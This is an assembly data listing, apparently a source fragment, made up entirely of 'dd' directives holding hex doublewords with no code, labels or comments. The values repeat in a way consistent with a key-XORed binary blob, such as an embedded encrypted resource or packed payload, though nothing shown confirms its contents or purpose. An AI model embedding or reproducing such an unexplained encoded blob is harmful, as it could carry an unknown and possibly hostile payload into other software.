dd 0B5D32FE7h, 0B059BAB1h, 32565DB9h, 32542FBEh, 533657B1h
dd 39BFABB1h, 9356D5B1h, 99056567h, 0EBF0343Ch, 3256B4EDh
dd 54A4D6D1h, 53E4BC0Eh, 3250D2BEh, 6236ABB1h, 53BA5FEFh
dd 0B936EAB1h, 34D47A68h, 3D56BAB1h, 32565D33h, 3256CFB1h
dd 30D058D1h, 0B956ABB1h, 32AFB469h, 2ADAE5B1h, 0DB5675B1h
dd 3256BAA2h, 2AE4E040h, 0ABFFE05Eh, 1463A7C5h, 4F94DDB6h
dd 327C9DDDh, 35DFE5B1h, 3D5675B1h, 3256BB38h, 0BE59A5B1h
dd 3256AEBDh, 3250D9BEh, 0BB59ABB1h, 3256D5B1h, 3D36EAB1h
dd 0FAD78B0Eh, 7F44A8F1h, 52565DD0h, 32D2A1D1h, 535657B1h
dd 7C992AD7h, 32AAB4A2h, 325D03B1h, 0D86675B1h, 6ECEBD59h
dd 63127E2Eh, 0BF59CEC4h, 325657B1h, 32D4A4E1h, 6856D5B1h
dd 0CA56EAD0h, 3D56754Dh, 3256BB35h, 3256A8B1h, 325021BEh
dd 3D3657B1h, 53A3600Eh, 32A3D5B1h, 52AE8AB1h, 54548631h
dd 5BA06330h, 32AF3CD0h, 36DDA1B1h, 525657B1h, 3237CAD1h
dd 32562DB1h, 0D6896BD1h, 3D71E7E2h, 3256B837h, 53373DB1h
dd 5256AE48h, 3242BFD1h, 1313ABB1h, 58EB0C48h, 762B4095h
dd 0CD89ACCAh, 0DF0B0B58h, 0B20F6769h, 0DB37AF6Dh, 325657BDh
dd 3257AC9h, 0F7855F47h, 9B2171BEh, 525675D0h, 989D3BE3h
dd 68706B64h, 53794A31h, 0DA3657B1h, 3256ABA0h, 1CD86057h
dd 0BF7E50FFh, 788303E1h, 0CEF49268h, 32D452FEh, 6C56AEB1h
dd 4930EED7h, 5256ABD0h, 530D6544h, 8536EAB1h, 3DD57A0Ch
dd 0DB56BAB1h, 32565DBBh, 0BF04FC38h, 8D0BAC33h, 3237A45Eh
dd 3ED7DAB1h, 3D56EAB1h, 3256733Ch, 32DEB5B1h, 32565DB1h
dd 35D5A1B1h, 3D5657B1h, 3256AA34h, 325620B1h, 5256EA4Dh
dd 22BF7E00h, 1C56BAB1h, 0BC19B730h, 3FDD6011h, 90E7E341h
dd 530CF05Ah, 3256C458h, 50B4CBB1h, 2E79A9A7h, 0F3C49B4Dh
dd 640251BFh, 32568284h, 52565744h, 3256CA44h, 32562C4Dh
dd 0DB56EA48h, 325675A3h, 3A7FB4A5h, 288F6197h, 9BFEBAD6h
dd 2CF73992h, 32565D27h, 324458BEh, 0BB59EAB1h, 325675BDh
dd 3256BD58h, 0B64C39B1h, 75CD51F0h, 613657B1h, 3256A159h
dd 0C84B52B1h, 0EF5B4C4Ch, 6D032593h, 323742EAh, 33D852B1h
dd 0CE56AEB1h, 0B85957B1h, 3256ABBDh, 32505FBEh, 0BC59EAB1h
dd 325675B1h, 32A3BAB1h, 21D752B1h, 0DB56AEB1h, 325657BFh
dd 760CF41Dh, 0DD7EA9DFh, 0DBFEBEAFh, 3256C2F5h, 32573ABEh
dd 0CBAE5DB1h, 0B459AEB1h, 325657BBh, 0DE212D1h, 0F4D6F2EFh
dd 32568B03h, 0C8E97AD1h, 3256AA59h, 0B77650B1h, 977643A4h
dd 76622953h, 829777A1h, 6B046420h, 325616D0h, 3257F3BEh
dd 32AABAB1h, 3256A5B1h, 0CBE4F9D1h, 3259BEE8h, 0D0A8ABB1h
dd 9FA7AB58h, 0BA90C05Dh, 0CDE0D0DDh, 3256DB97h, 325ED3BEh
dd 0B759AEB1h, 325657B3h, 3256CAD1h, 3256C658h, 0AB8BB0B1h
dd 0E5A04131h, 725FFFC6h, 43FD2A6Ch, 1E399337h, 32AE57B1h
dd 324642B1h, 0C5AED5B1h, 3E349A9Ch, 5F903C59h, 0D568B513h
dd 325622D8h, 3D56AE44h, 3256563Ch, 325652B1h, 0ECD7B3D1h
dd 0F8DD93EEh, 525675D0h, 0CA05E0E6h, 32563CE8h, 528725D1h
dd 2BAF8130h, 5337DA6Dh, 77E029D1h, 3D56EAD0h, 32567D3Bh
dd 30D1B5B1h, 52565DB1h, 325D47D0h, 15FC57B1h, 0EE2F566Eh
dd 0BB3CD5E9h, 3D56EA18h, 3256743Fh, 325646B1h, 32565258h
dd 0BFB943B1h, 43D9338Ch, 6C3A8013h, 54093D23h, 32A3EAB1h
dd 32539CB1h, 0D9ADBAB1h, 32FE42C3h, 22BF52B1h, 0B95657B1h
dd 96D2A4D9h, 76CB037Eh, 253CEAAh, 32808752h, 20BF4FB1h
dd 0B1565DB1h, 18E489D6h, 8FE1B09Dh, 0C8B51319h, 2F85D7F2h
dd 0C756EADFh, 3D3675B1h, 3256BC35h, 0D490DCB1h, 8C284449h
dd 1AE7C07Dh, 0B459CBD0h, 3256D5B2h, 53A761D7h, 0B45975B1h
dd 3256BAB0h, 3D565D4Dh, 3256BF3Fh, 325ABEB1h, 9D7CABB1h
dd 0BAE8DC1Ah, 0C7B87BC5h, 325656DFh, 0DB56BA4Dh, 32565DB7h
dd 0B50ADDCh, 32563E8Fh, 32512DBEh, 0B459D5B1h, 3256EAB0h
dd 0DB567548h, 3256BAA0h, 9AA60C28h, 9093A264h, 0BAF9686h
dd 3C27E84Eh, 0DB56D5CDh, 3256EAB8h, 0B412C700h, 9346A5DBh
dd 0DB565D19h, 3256AEA2h, 8138D2FAh, 0C453118Ch, 10A5A3B7h
dd 67870827h, 3269980Bh, 23BEDAB1h, 0EE565DB1h, 626105BCh
dd 5ACC04E1h, 8A3F9D75h, 60A3AF9Bh, 68915DBEh, 32561449h
dd 0DBBC0CD1h, 32565DA2h, 0A98AECB4h, 8C5975F3h, 2BE19887h
dd 0D2F63579h, 538C7B79h, 325D9CD1h, 0C2AFBAB1h, 377CB831h
dd 811DC257h, 3246BF39h, 0BE3DABB1h, 8F8DF07Ch, 0DC101355h
dd 9008C92Dh, 3CBEECD3h, 7565DB1h, 119D2354h, 7BD52861h
dd 0DB79446Eh, 53098E30h, 0B859EAB1h, 325675A8h, 3256AE58h
dd 0D78E93B1h, 0F144D643h, 412C373Ah, 0D0D12F21h, 0A334EAA9h
dd 85598A7Dh, 0B159157Fh, 3256BAB1h, 53374106h, 3FBFAEB1h
dd 0E45657B1h, 42404551h, 179DDAC4h, 0D8DA5838h, 32566758h
dd 26002FB1h, 221D4678h, 1BEC278Ch, 0C3B3D8Dh, 3222FD04h
dd 35DBDAB1h, 3D56EAB1h, 32567431h, 325643B1h, 0DB565D49h
dd 3256AEBCh, 0E4A72E79h, 300BEFEEh, 633F646Ch, 0CA56EA51h
dd 0BF5975B1h, 3256BAAFh, 324ED5BEh, 21BFAEB1h, 9A5657B1h
dd 2DF9F5C2h, 72614E7Eh, 0D96FA78Ah, 30514779h, 3256925Eh
dd 3247D1BEh, 3EBFAEB1h, 615657B1h, 55A7F392h, 0FBB86844h
dd 32D9665Ch, 0BF5915B1h, 3256BAB1h, 5395D6D7h, 5436AEB1h
dd 0EBCAB830h, 325727BEh, 53AED5B1h, 0BE59EAB1h, 325675BFh
dd 32D3B5D1h, 3D565DB1h, 3256AE33h, 0B15936B1h, 3256ABB0h
dd 0DB56D548h, 3256EAB4h, 40F1A5AAh, 0DB56BA32h, 32565DB8h
dd 8F59D960h, 96F29C81h, 3D56ABDEh, 3256DA38h, 325C03B1h
dd 0EA2775B1h, 0EA4F5D1Fh, 133BC2F7h, 0BA59AEB1h, 325657B3h
dd 3256CAD1h, 5256D548h, 3256E759h, 0EF789AB1h, 24425B4h
dd 0A846CFA7h, 6DAA6C26h, 539EE0BEh, 3256A658h, 0AF6A1FB1h
dd 45A62C53h, 8C30CD5h, 3256204Eh, 325ED3BEh, 0B059AEB1h
dd 325657B3h, 3256CAD1h, 325751BEh, 32AAEAB1h, 21D87AB1h
dd 0DB56BAB1h, 32565DBFh, 21830723h, 7C28CBE1h, 0B5B4CFFBh
dd 32561411h, 0DB56EA44h, 325675BCh, 70C3CB89h, 6746AEFDh
dd 0C2D6DBC2h, 52565750h, 3ABE5B3Ah, 0A056D5B1h, 0BEFC274Ah
dd 3D9A5E73h, 3256BA33h, 0DB3707B1h, 3256AEBBh, 37D88DC1h
dd 70CD77F3h, 3256DA93h, 3256E358h, 9A57EBB1h, 34CAC23Dh
dd 3256AAFDh, 32512BBEh, 0B55957B1h, 3256ABB0h, 0CE56D54Dh
dd 0B959EAB1h, 325675BDh, 325034BEh, 0BF595DB1h, 3256AEB1h
dd 0B33657B1h, 0AE975358h, 0BAB55482h, 530C58D2h, 3FBF75B1h
dd 0C256BAB1h, 0E1808028h, 0B44E9D20h, 0D5093857h, 0B336ABB1h
dd 9C1ABC61h, 32568BB1h
dd 32566158h, 0C1304AB1h, 0DB733623h, 0F044DFEEh, 115BB3B0h
dd 0A93ABD43h, 5256D583h, 3256E159h, 5539CBB1h, 6A722A62h
dd 8A229C89h, 325621BEh, 0B30C57B1h, 5CE2AE77h, 3256B4BCh
dd 325767BEh, 3DAA75B1h, 3256A933h, 3258B4B1h, 609AAEB1h
dd 1972A686h, 82B653AFh, 226BB457h, 32A3EAB1h, 0B15989B1h
dd 3256BAAAh, 3247B4D1h, 0BAABAEB1h, 99064FFCh, 3EA07039h
dd 8FF626EDh, 5468DB9Ah, 3237AA3Ah, 325646B1h, 32565A58h
dd 53ABB9B1h, 0DEF52E9Bh, 0B336ABB1h, 0E3F0EA73h, 32DFE58Dh
dd 535675B1h, 32AABAB1h, 3259B4B1h, 0DEB3AEB1h, 63D15E93h
dd 0C11FD467h, 360D884Eh, 0DB56EA87h, 325675BFh, 15DABF49h
dd 7465CAB0h, 8CD86BC1h, 23BF9716h, 0B756ABB1h, 16560738h
dd 0F87898F9h, 36A2C923h, 0AFF0B708h, 0B4595DB1h, 3256AEBDh
dd 3250D4BEh, 0B759ABB1h, 3256D5B1h, 0DB36EAB1h, 325675BAh
dd 0EED60B53h, 0CB72D260h, 53FB69B7h, 21BF57B1h, 0EE56ABB1h
dd 1980B0F6h, 7CA0B7A1h, 0E573A4E3h, 1E26CD2Dh, 32560DF4h
dd 3D56AE4Dh, 32565639h, 325652B1h, 3BDFDA44h, 5256EAB1h
dd 549CFED7h, 532DD50Eh, 3EBF5DB1h, 0D856AEB1h, 0A218F314h
dd 5DB29018h, 32344D9Ch, 325303B1h, 89AD75B1h, 327FBF9Eh
dd 325BB4B1h, 6B84AEB1h, 5D743547h, 0F84B3C2Ah, 32629E1Eh
dd 325A03B1h, 0D73575B1h, 47140E5Ah, 79EDCAE8h, 32566C41h
dd 588CD6D1h, 8B05F306h, 5B3A95ECh, 0CA56EAD0h, 0B05975B1h
dd 3256BABDh, 3250D7BEh, 0B359AEB1h, 325657B1h, 0CBAFABB1h
dd 38BFD5B1h, 3156EAB1h, 0DB5734DFh, 419B8022h, 3D565D5Ch
dd 3256A232h, 0B35937B1h, 3256ABB1h, 66C36BD7h, 0CB56EAD0h
dd 34BF75B1h, 7B56BAB1h, 98F92FCh, 0DB56AE85h, 325657BDh
dd 3F7C5627h, 7DB773A8h, 354045AEh, 6786CBD1h, 3237E111h
dd 35BF3DB1h, 5856AEB1h, 80524012h, 15EC5808h, 533C40A2h
dd 0B659EAB1h, 325675A6h, 3256A858h, 0A54DA8B1h, 3E7B352Ch
dd 2540280Ch, 1B318E10h, 322B4376h, 324503B1h, 0A7D75B1h
dd 2E23ADEBh, 71425DD3h, 209E6585h, 0F1AD1FC2h, 0DB56ABF3h
dd 3256D5A5h, 2346050Bh, 9A4558B1h, 6654708Fh, 422A8B0Dh
dd 47AC54Ah, 543657B1h, 65677030h, 3256C658h, 0BB3790B1h
dd 0F9908A27h, 0AF844E53h, 0D391B99h, 0A2829202h, 0DB5657D0h
dd 3256ABB9h, 0DF1CF4F5h, 0E799137Eh, 0B23675B1h, 0D3D7F954h
dd 346EC6EAh, 5256AED0h, 3EED31D1h, 32D7A433h, 5356D5B1h
dd 5256EAD0h, 325BF9BEh, 35BEBAB1h, 0F0565DB1h, 0B7BA9830h
dd 0DA0D43C8h, 3256ABB9h, 0D48C0DBCh, 0F6A87EBAh, 89D1BE30h
dd 530FF103h, 3D365DB1h, 3256AD3Dh, 0C1DD31B1h, 39A911E2h
dd 530CD1B7h, 0BF59EAB1h, 325675A3h, 325D53D1h, 0F27F5DB1h
dd 0FD15333Eh, 0FD911FCEh, 3256CA62h, 325750BEh, 52A3EAB1h
dd 689BF60Ah, 325353E4h, 0E6825DB1h, 5325B999h, 0B85957B1h
dd 3256ABA6h, 3256C758h, 32514AB1h, 0C76C9EB2h, 48D7A4A3h
dd 550B42Bh, 32D71574h, 3259BEB1h, 0F3A7ABB1h, 0DCE82242h
dd 2C9DD8F5h, 4D31FEA9h, 3D56BA21h, 32565A34h, 33D5A1B1h
dd 0CE5657B1h, 5436ABB1h, 0DDD6133Ah, 32568BA4h, 0C8E17AD1h
dd 539831D7h, 39BF5DB1h, 0B56AEB1h, 0DB90DA5Fh, 0BA0D4A4Bh
dd 3BBF5C5Ah, 0CA56EAB1h, 5F6384E7h, 0B3B75A3Eh, 20BF5DB1h
dd 8556AEB1h, 972A1632h, 0A29029F7h, 0B6B26720h, 0DCE0586Ah
dd 0C75675BDh, 21BFBAB1h, 0AF565DB1h, 1DDA23BDh, 0CD0A2F7Dh
dd 10BF35FDh, 5139AFD5h, 32569C1Ch, 0DB56754Dh, 3256BABDh
dd 0CFFF575Ch, 0A5827FE2h, 0E50E0E3Dh, 32A3ABB1h, 325620B1h
dd 325E64BEh, 0B23675B1h, 8D594966h, 32563C4Ah, 0CA56AE4Dh
dd 0DB565744h, 3256ABB6h, 0EF3309E5h, 52A5857Bh, 159DF4D7h
dd 3256DB31h, 34EF3BD1h, 325D46F2h, 314B57B1h, 0ADEE4F47h
dd 0EB03431Eh, 6A09B9D0h, 3D5675D0h, 3256B235h, 30D152B1h
dd 5256AEB1h, 3256A2D0h, 33DAA448h, 0CE56D5B1h, 0B836EAB1h
dd 0B38BF577h, 3D56BAD0h, 32564537h, 0B330CEB1h, 0DB4E0E5Eh
dd 3256ABBDh, 19D8FD24h, 33A06C19h, 1ABB9861h, 325643D0h
dd 3258B4D1h, 6309AEB1h, 6EB851AFh, 0E4BDA424h, 0E47E18D0h
dd 53200D31h, 8A3675B1h, 3131F529h, 0F3D73BD1h, 53364131h
dd 3D3636D0h, 3256A835h, 0FBE1DAB1h, 3256E158h, 4B5E77B1h
dd 9BAE7700h, 0E1BAF9A2h, 5256AED0h, 70ED31D1h, 32444205h
dd 991BD5B1h, 0BAF3EC46h, 50D2B834h, 0DCB66CE9h, 3D232DA7h
dd 7F9E2FD0h, 53119AE9h, 0DBAFABB1h, 3256D5BBh, 26F9278Fh
dd 3D3DB9A1h, 3256BED0h, 3D565D48h, 3256AF3Eh, 3256ABB1h
dd 0DB56AB48h, 3256D5B8h, 0BB20C61Ah, 0CE32395Ch, 325C5318h
dd 5D6C5DB1h, 10A36412h, 6F25EA09h, 32A3ABB1h, 2FDADAB1h
dd 5256EAB1h, 32566658h, 7EFDBEB1h, 0A36940DBh, 498D15B6h
dd 0A56CAA97h, 0A9512D3h, 53AF62BEh, 38BFEAB1h, 175675B1h
dd 35EF9462h, 0C71BEE2h, 3BDFA1FEh, 525657B1h, 4912AD7h
dd 5333651Bh, 324203D1h, 2D9275B1h, 0FC59083Bh, 51A423C9h
dd 504E6137h, 800B2355h, 32BE2F49h, 6856D5B1h, 0A5470030h
dd 35BF73A9h, 5756BAB1h, 48085972h, 60360870h, 6881E0BEh
dd 0EBD326D0h, 3D50C23Dh, 3256FE36h, 32599CB1h, 914BAB1h
dd 75D347F6h, 6D4C8F45h, 99972EC9h, 1DD4227Ah, 0CB50CDCEh
dd 6F5B683Ch, 3D3673A8h, 0B0596006h, 32565DB3h, 0BB37F5E6h
dd 2A291C33h, 0C1BE57B7h, 0CB56D584h, 32544D59h, 32429CB1h
dd 554BAB1h, 14DCA690h, 0A6360B1Fh, 33F4600Ch, 0C3CA9275h
dd 0B0918E32h, 344E9408h, 325675B1h, 324B34BEh, 0BA595DB1h
dd 3256AEA6h, 32564558h, 48CCDEB1h, 63EF9574h, 7C2DE9A1h
dd 17EF5CCh, 606CE850h, 32564E58h, 83C88AB1h, 456394D5h
dd 0D2B6A322h, 37DBF2B9h, 0EEFB4B7Eh, 325FF2BEh, 5436BAB1h
dd 3D296F0Fh, 0F4375406h, 20439634h, 20BFFDB7h, 6056D5B1h
dd 3428CECFh, 56B557FFh, 0ABC3C414h, 56670CF9h, 8A04C6F2h
dd 34BFCB19h, 1356ABB1h, 8A50858Ch, 33E31590h, 52506780h
dd 53230C4Dh, 0B02CD83Ch, 38BFA8A4h, 385657B1h, 0BD2D0910h
dd 0A551E89Fh, 52861518h, 0DA608331h, 3256BAA1h, 0BA3F3B87h
dd 96606708h, 3A4B0A50h, 0B5ECACEBh, 0BB378D44h, 20715334h
dd 37DA7AB7h, 5256BAB1h, 53AEB13Bh, 0B836AADBh, 323E366Dh
dd 5256ABA1h, 83323730h, 0B559F399h, 325675B3h, 5A37663Bh
dd 325550F1h, 3256A658h, 87DF79B1h, 9EB60FF6h, 3D56BF15h
dd 3256E636h, 32519CB1h, 0B75BAB1h, 39A1CB40h, 0DB865146h
dd 325657BAh, 0C9FBAD9Eh, 532DB947h, 0DB689809h, 325675A1h
dd 0E144D269h, 52B5A35Ch, 0B16FDB93h, 3E5D2912h, 324642EBh
dd 6E6AD5B1h, 47007E32h, 4DD7E8A4h, 0A71579BBh, 0F25D71FDh
dd 32A12ABEh, 0B85957B1h, 3256ABB0h, 8BD45C4Dh, 3D50F2CFh
dd 32567431h, 0B0DF46B1h, 344E22B1h, 0B9A825D1h, 3D363669h
dd 54365106h, 0E7271530h, 5337393Ah, 315B3508h, 35D3B5B1h
dd 3D565DB1h, 3256AF39h, 0B9AEAFB1h, 5436CB49h, 53361E3Ah
dd 0F2658BD0h, 33D97A4Dh, 0C756BAB1h, 52AFF742h, 3256AB58h
dd 4007BCB1h, 53AA1CACh, 363C20E3h, 324167BEh, 20BF75B1h
dd 1E56BAB1h, 0EC2E7361h, 369746E5h, 0B8A24D85h, 0EF6BD748h
dd 2256BDE3h, 38BFEAB1h
dd 395675B1h, 72D4CABCh, 42B0CC6Dh, 3656C694h, 0DBA357B1h
dd 3256ABB7h, 94610485h, 323C6B56h, 32566658h, 117C49B1h
dd 0CD96E410h, 68D2AB71h, 4B67FB0Ah, 19F77A9h, 15EF474Eh
dd 23BFECA3h, 0F75675B1h, 8B3DECE3h, 7E492B2Bh, 7958A88Fh
dd 0FE011454h, 0B0DF52EBh, 344E54DDh, 3256E258h, 3D22BBB1h
dd 7F18B161h, 88363C3Fh, 6DAEE663h, 32565958h, 0BED155B1h
dd 444C5B98h, 6A45772Eh, 534DD7B0h, 4CEF3F3Ah, 34BF5BA9h
dd 9756AEB1h, 127B30E8h, 0B0596854h, 3256D5BDh, 325064BEh
dd 0BC5975B1h, 3256BAB1h, 3258B4D1h, 7988AEB1h, 0F9F0C4A4h
dd 92A67233h, 111E7E21h, 189F6876h, 325673A3h, 3EBFBAF1h
dd 8C565DB1h, 0D16F3BAFh, 0D3D07AF4h, 0DBFFD31Eh, 3256D5A3h
dd 0F7ACBF20h, 70F9FE71h, 0C292C8DFh, 9830F4D4h, 0B091C3E6h
dd 34444DA0h, 3256BBB1h, 325E50BEh, 0BB59EAB1h, 325675B3h
dd 0CA37DBD1h, 32565A58h, 95A0EAB1h, 6BFE33B9h, 0CCDDCB72h
dd 538F6ABEh, 33D9E5D1h, 0CB5675B1h, 4CEF003Ah, 3BBF5BA9h
dd 0C356AEB1h, 4EE751FAh, 0DA9CF704h, 3D56EA32h, 3257E435h
dd 32509CB1h, 0C3CDBAB1h, 0DBB65A71h, 3046D132h, 321BD3BEh
dd 0BC59ABB1h, 3256D5BFh, 3256E358h, 656A51B1h, 0D0900E2Eh
dd 4DD55710h, 0B659AAA1h, 32565719h, 3256AD58h, 291B88B1h
dd 0B169C3FEh, 37BF6176h, 1756BAB1h, 0A5437A51h, 0CDA90958h
dd 325BBE4Eh, 3868ABB1h, 303044EDh, 54E54369h, 0F5E80B3Dh
dd 3257AAF6h, 0B6595DB1h, 3256AEA0h, 32565B58h, 873667B1h
dd 0B5A1E769h, 2F1F6B4Eh, 0B930156Dh, 325E5248h, 201A5DB1h
dd 0A21C5C9Eh, 26BFA4E4h, 0DE56ABB1h, 17F873CDh, 9CFF578Fh
dd 3E7124D7h, 0FC023E0Eh, 6C592086h, 0CDDB47D0h, 0B059A84Eh
dd 3256ABA1h, 3256DE58h, 0CECE4DB1h, 8FC6572Ch, 0E135AF6Ah
dd 3258DCBEh, 3BBFAEB1h, 55657B1h, 35C19ED2h, 8BFD2A20h
dd 3146AD76h, 3D5675B1h, 3256AD32h, 3244B4B1h, 2E36AEB1h
dd 0C2EE28CEh, 2789A478h, 0F0D6C20Eh, 0C61447A6h, 0CDA94F58h
dd 3253534Eh, 0A1D85DB1h, 53F6C4E0h, 67AF9449h, 8559CB49h
dd 34D9DA77h, 0B356EAB1h, 2C3B2872h, 0DEDDDB88h, 3258D8BEh
dd 3D36AEB1h, 3256573Eh, 32D0A4B1h, 5356D5B1h, 325303D1h
dd 566675B1h, 0DAE83DE1h, 32565DB1h, 30BC2FEBh, 3D504F2Dh
dd 3256AA3Ch, 23BF29B1h, 6256EAB1h, 0E4CDA54Eh, 61E0DB60h
dd 0FC418011h, 0F28A6FE1h, 0B324E53Ah, 5436ADA9h, 8E8D3E30h
dd 3A1361D0h, 32567858h, 0BC9EBDB1h, 18DF103Ah, 3F25C360h
dd 0DB3612F9h, 3256ABA1h, 64892FF6h, 6022992Fh, 5CF4C79Eh
dd 0D0572223h, 53078731h, 0B1A3A838h, 2AD72533h, 5436AFB7h
dd 86860C30h, 37BF8BD0h, 0CD5675B1h, 23183D91h, 3694A578h
dd 0B359CEB1h, 325657A3h, 3256A658h, 0AF9C6EB1h, 0E9F56421h
dd 31737032h, 6D06780Fh, 22BF3DD0h, 8156AEB1h, 6CE40439h
dd 14C53E69h, 0AF3D3FB4h, 0DADADDB6h, 325675B1h, 88BC3BEBh
dd 0CB50452Dh, 3256A658h, 9366E4B1h, 0A5613379h, 325C3CA8h
dd 27F0EAB1h, 0C3EC74B1h, 0B96BF060h, 0B33AEF3Ah, 3DA3A8A9h
dd 3256563Ah, 806D5EB1h, 344E54C3h, 33F56EBEh, 34BF75B1h
dd 4156BAB1h, 6FEB17E0h, 0DB682530h, 325657BDh, 45902877h
dd 3B42C3DBh, 27A0D860h, 0B259AA3Ah, 3256BABAh, 9E93BD1h
dd 3208144Eh, 3D374572h, 0CA57E407h, 0B2579247h, 32676FBEh
dd 3CBF75B1h, 556BAB1h, 0EDA2689Fh, 41C2E0D1h, 504B28BBh
dd 528FA886h, 1E54600Fh, 0BAED8CDCh, 29BF14B9h, 5256BAB1h
dd 0BE599903h, 3256AEB3h, 19370EE0h, 325E4268h, 0F2ED5B1h
dd 7137DE50h, 52157EC2h, 325338BEh, 5E95DB1h, 5351EAD0h
dd 3D66E1D1h, 3256A737h, 32513CB1h, 81B0EAB1h, 0EDC0DC04h
dd 5215DB63h, 0B8596F06h, 3256AEB7h, 3256DDBEh, 0B937ABB1h
dd 204B8834h, 27DAE5B7h, 0DB5675B1h, 3256BAA1h, 53230757h
dd 9454883h, 0FD821E27h, 8E00E6B7h, 14E7583Ah, 0B859ECA3h
dd 325675A2h, 3256B458h, 7959A8B1h, 5BCABF65h, 538AE7E7h
dd 528EA3EAh, 0A399500Bh, 0A4B251D6h, 9370636h, 70D4B569h
dd 52565DB1h, 54A711BEh, 53F6A208h, 0B559728Ah, 3256D580h
dd 325A0349h, 0C20475B1h, 0A7A2F12h, 48475714h, 0F4D5213Bh
dd 8DBFABB5h, 0DBA9544Fh, 3256D5A1h, 3A1F78C8h, 0FC508B77h
dd 0E22A8CA0h, 6255AAAFh, 3D99954Dh, 32560735h, 33DEA4B1h
dd 0C756D5B1h, 14E75738h, 3ABF73A3h, 6B56BAB1h, 3AECF3C4h
dd 0DBD49230h, 325657B7h, 52F7F382h, 5BBF6181h, 3DA9154Fh
dd 32565533h, 21BEDAB1h, 7E565DB1h, 0B5F896BEh, 4EC364CDh
dd 21357E08h, 0D8202A37h, 8A0F66CFh, 43F79D9Ah, 0C7AADBD0h
dd 3D36A472h, 3256A33Eh, 0BA5937B1h, 3256ABB1h, 989B420Bh
dd 32BE8BEDh, 685675B1h, 0ACEF5030h, 52365BA9h, 0B19F2FD7h
dd 533737FBh, 79B92AD7h, 37BFB42Bh, 9456EAB1h, 97582D9Bh
dd 5EEC3144h, 0CB504530h, 3257AE08h, 0BB5937B1h, 3256ABB5h
dd 0F5956FD7h, 9DA46BD7h, 0F2651497h, 32DFB5D1h, 3D565DB1h
dd 3256BD34h, 3258BEB1h, 6817ABB1h, 0BC0211A7h, 0A15E26EEh
dd 68FBCA9Ah, 0CBFD49D0h, 5ED4D644h, 0CA50B630h, 0B324D538h
dd 53AFADA9h, 3D361644h, 3256E83Bh, 3DADFEB1h, 5237450Eh
dd 3256B548h, 0B30CAEB1h, 2AC9135Bh, 0BC5952B7h, 3256D5BBh
dd 3256EF58h, 593558B1h, 0B7902425h, 34444870h, 0B3E52E7h
dd 528248DCh, 0B26A4130h, 0B906B18Fh, 0CD37B567h, 20677404h
dd 2ADBB5B7h, 52565DB1h, 3256BE59h, 0C8A198B1h, 487D7B5Eh
dd 0E5D235BDh, 67C77794h, 0BF372A4Bh, 27D4C034h, 0B8593DB7h
dd 3256AEB7h, 9021A730h, 0D9E9DCC8h, 53108BA2h, 0DB861549h
dd 325675BDh, 6AE628C7h, 0FAD52D45h, 18251A8Bh, 0DB06AFE3h
dd 3256ABA2h, 0F09B7619h, 6DB96593h, 0BED8B6D6h, 73B27F57h
dd 5AC4C4EEh, 32562EB1h, 0D3D731D1h, 0DB06AAF4h, 3256D5A2h
dd 0A6CDB4B6h, 0E773EA3Fh, 46C44876h, 0F84C37C2h, 69DF8677h
dd 3247BED0h, 7282ABB1h, 72E30D4Fh, 0E1ED5578h, 0FD4F255h
dd 583B8002h, 0EBD63DB1h, 37DCA173h, 545657B1h, 84776D30h
dd 8BE42AD0h, 0DB50F2CFh, 325675BAh, 0E095B1A2h, 0A6639313h
dd 0CD7CBB41h, 3258BE61h, 0BE4EABB1h, 84889FF9h, 0C3599193h
dd 0AED1FB5Dh, 3FBF43E9h, 48565DB1h, 0C645573Ah, 208B2A7Ch
dd 7436CCC7h, 323E2CEBh, 3D56EA31h, 32567334h, 0E1DDDAB1h
dd 583707E6h, 80A956B1h, 344ED6DDh, 3256B858h, 0F423B4B1h
dd 63CCB830h, 9E71C4C2h, 64D1C24Ch, 6778CAE7h, 0B1597E4Eh
dd 325657B4h, 0F2E9A4D1h, 0DA36B4D0h, 3256EABFh, 0D7C8C579h
dd 3820E5C9h, 0FCE25AB5h, 530E1FE6h, 3245BE72h, 0DA43ABB1h
dd 0A50B7609h, 84AF1E2Eh, 3C2A616Ah, 0A8D78410h, 3FDF525Fh
dd 0DB56AEB1h, 325657B9h, 0B93FD085h, 0EA3DF237h, 324403E4h
dd 122775B1h, 6A6B63C8h, 206EEE4Ah, 69369C32h, 2C66FD08h
dd 8736473Ah, 5236B47Eh, 325563BEh, 0B93075B1h, 36ECDC60h
dd 0BD593C15h, 3256AEBCh, 32D358D1h, 8A56ABB1h, 62F9E950h
dd 325602D0h, 0B30C75B1h, 2AF7825Bh, 0DBAE3DB7h, 3256AEBCh
dd 1E48E083h, 0CA818ACAh, 0CD9E7BC2h, 0B9A38BA9h, 0B3367DC4h
dd 0B616D971h, 1BE93BE6h, 3EBECFA6h, 525657A1h, 19C2AD7h
dd 0DCECB5ABh, 5305B8AFh
dd 0CDAE20D0h, 2A299523h, 3245B4B7h, 0ED00AEB1h, 7B9CE823h
dd 0DDFB19E1h, 5355037Ch, 1D191B01h, 0F0DD1578h, 530F4FE6h
dd 476DA8ECh, 89D3A1BDh, 52A9A84Eh, 53A120D7h, 32591759h
dd 3D3716B1h, 32567D3Fh, 30DAB5B1h, 52565DB1h, 3DAE67D0h
dd 3256563Dh, 3A945EB1h, 3CD7DAB1h, 5256EAB1h, 3256F8BEh
dd 0E0D7BAB1h, 216A3F68h, 0BC59FBD0h, 325657A1h, 3256A058h
dd 60007EB1h, 0FF027378h, 0D421176Ch, 0C9E9B5D1h, 0CADD3BE0h
dd 0DEDDCFEEh, 325AD4BEh, 35BFABB1h, 0B956D5B1h, 31CB2500h
dd 0DB36A3C7h, 3256BABEh, 0AF086CFAh, 0C89BCEDh, 4C2CBA86h
dd 8CEFC72Dh, 7F24F9BCh, 0CE9269D0h, 324AF4BEh, 3D36BAB1h
dd 32565D3Ah, 325947B1h, 856057B1h, 0D6920DF3h, 0F576EAD7h
dd 424DAAE6h, 520014F1h, 54A131D7h, 96A6BC30h, 3D36F9D0h
dd 34BF960Eh, 4856ABB1h, 93F9556Bh, 0CA058B3Ch, 32567559h
dd 0D8D7E0B1h, 344EFFCAh, 53A125D1h, 32564758h, 0C2DEF1B1h
dd 2EC85CC8h, 4F6A40ECh, 2CD18587h, 3A2331CDh, 53360BD1h
dd 0EDDDC8E8h, 222BDCD0h, 3256B958h, 0F5110BB1h, 0C602F025h
dd 0F699972Dh, 0E916ADCEh, 6519293Fh, 34D9A1D1h, 3D5657B1h
dd 3256AB3Ch, 26DCDAB1h, 0DB56EAB1h, 325675BEh, 3A45370Ch
dd 0C59D8CD1h, 0AFEDDF97h, 53C31366h, 3256AD58h, 82084FB1h
